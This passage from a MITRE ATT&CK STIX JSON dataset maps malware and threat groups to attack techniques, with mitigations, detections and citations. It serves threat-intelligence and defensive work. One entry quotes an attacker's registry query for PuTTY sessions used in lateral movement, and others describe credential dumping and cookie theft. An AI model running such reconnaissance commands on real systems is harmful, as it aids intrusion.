[Explosive](https://attack.mitre.org/software/S0569) has collected the MAC address from the victim's machine.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0005fb3b-274a-4ac1-8fb2-51366fcd1a6b","created":"2023-09-01T21:33:59.394Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-01T21:33:59.394Z","description":"Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00069454-a469-4905-97fd-b4057e86d29b","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--000aa4d0-315e-40d7-b2b6-76e91ecf0fe8","type":"relationship","created":"2021-09-15T18:02:37.631Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-09-15T18:02:37.631Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) used [Cobalt Strike](https://attack.mitre.org/software/S0154) to carry out credential dumping using ProcDump.(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00192a5f-9dc0-445a-b010-d77bd08aac93","type":"relationship","created":"2021-05-26T14:50:00.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.838Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can SSL encrypt C2 traffic.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--001ecf24-8276-40d2-ba05-2d20e5c53ec9","type":"relationship","created":"2021-03-26T16:48:31.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-26T16:48:31.963Z","description":"[GoldFinder](https://attack.mitre.org/software/S0597) performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--b7010785-699f-412f-ba49-524da6033c76","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--002142e4-3942-4c6d-913d-814c1fc93380","created":"2022-04-14T16:36:05.395Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline instances to identify malicious modifications or additions.","modified":"2022-04-14T16:36:05.395Z","relationship_type":"detects","source_ref":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0023f0a7-26ae-40ec-ac6e-9dacf5217fb9","type":"relationship","created":"2021-05-17T19:42:12.789Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.353Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) has the ability to accept a value for HTTP Host Header to enable domain fronting.(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2020-05-29T18:11:24.446Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) obtains the system time and will only activate if it is greater than a preset date.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--002c9202-d7a0-4181-b912-42f7d6d38339","created":"2019-01-29T21:47:53.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.924Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) gathers the hostname and OS version from the victim’s machine.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--002e561a-5500-4293-a876-01e8205a67c8","created":"2023-07-12T19:27:33.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:21:26.163Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used SSH tunneling in targeted environments.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--002f1039-f4c5-4c60-b8ac-ced374bec2ac","created":"2023-02-23T18:13:00.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T15:59:30.201Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used an unnamed post-exploitation tool to steal cookies from the Chrome browser.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0032f447-1ab7-427d-b7ae-baa436dc2411","created":"2022-09-27T17:52:38.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:41:51.144Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors executed `/c cd /d c:\\windows\\temp\\ & reg query HKEY_CURRENT_USER\\Software\\\\PuTTY\\Sessions\\` to detect recent PuTTY sessions, likely to further lateral movement.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0038b0b8-f51c-4fd1-8b04-2fd7ebd1d61d","created":"2023-08-07T16:03:40.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.642Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has created local administrator accounts to maintain persistence in compromised networks.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--003eed51-a560-44f1-9149-5a11bdaebe6f","created":"2023-08-01T18:37:47.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T07:45:39.054Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can check a user's access to the C$ share on a compromised machine.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--003f23dd-24c7-4b3b-b703-0bf081d638f4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:29.096Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0040312a-e85d-4066-8203-2e66f8aa5288","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-24T23:55:43.191Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.464Z","description":"Variants of [Emissary](https://attack.mitre.org/software/S0082) have added Run Registry keys to establish persistence.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--00490a17-1032-461b-8085-500d56bb80f5","created":"2019-06-05T17:31:22.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.890Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has gathered information about running services.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--004cc00b-0a84-4783-aa4e-16b47f7465b2","created":"2022-09-30T16:05:59.615Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T16:05:59.615Z","description":"[Mori](https://attack.mitre.org/software/S1047) can communicate using HTTP over IPv4 or IPv6 depending on a flag set.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--004fbe29-2537-418e-9951-a2750a5fa901","type":"relationship","created":"2020-10-20T03:11:14.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:19:01.263Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0051db4d-9eb9-4b22-93a5-b6593176da75","created":"2023-01-03T20:25:02.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:39:12.315Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) has encrypted its payload.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00561c3c-345e-4578-95c3-b7e0a95db7b1","type":"relationship","created":"2021-09-22T14:33:04.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T14:33:04.183Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used malicious links to lure victims into downloading malware.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0058d5dd-bf42-4a09-94ff-dfb024b949df","type":"relationship","created":"2020-07-01T18:23:25.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T18:31:24.082Z","description":"Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--005b46de-6241-413e-ba13-e0c2cc8efa77","created":"2021-03-04T22:46:49.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.571Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing).\n\nFurthermore, policies may enforce / install browser extensions that protect against IDN and homograph attacks.","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--005b6fd1-be80-424b-b6df-2ff88d390b1b","type":"relationship","created":"2021-03-12T16:30:52.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T16:30:52.475Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has used scheduled tasks to maintain persistence.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--005cbf7d-9d0b-443b-91db-7b148a1eb55b","type":"relationship","created":"2019-06-05T14:33:01.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis njRAT June 2013","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.402Z","description":"[njRAT](https://attack.mitre.org/software/S0385) enumerates the victim operating system and computer name during the initial infection.(Citation: Fidelis njRAT June 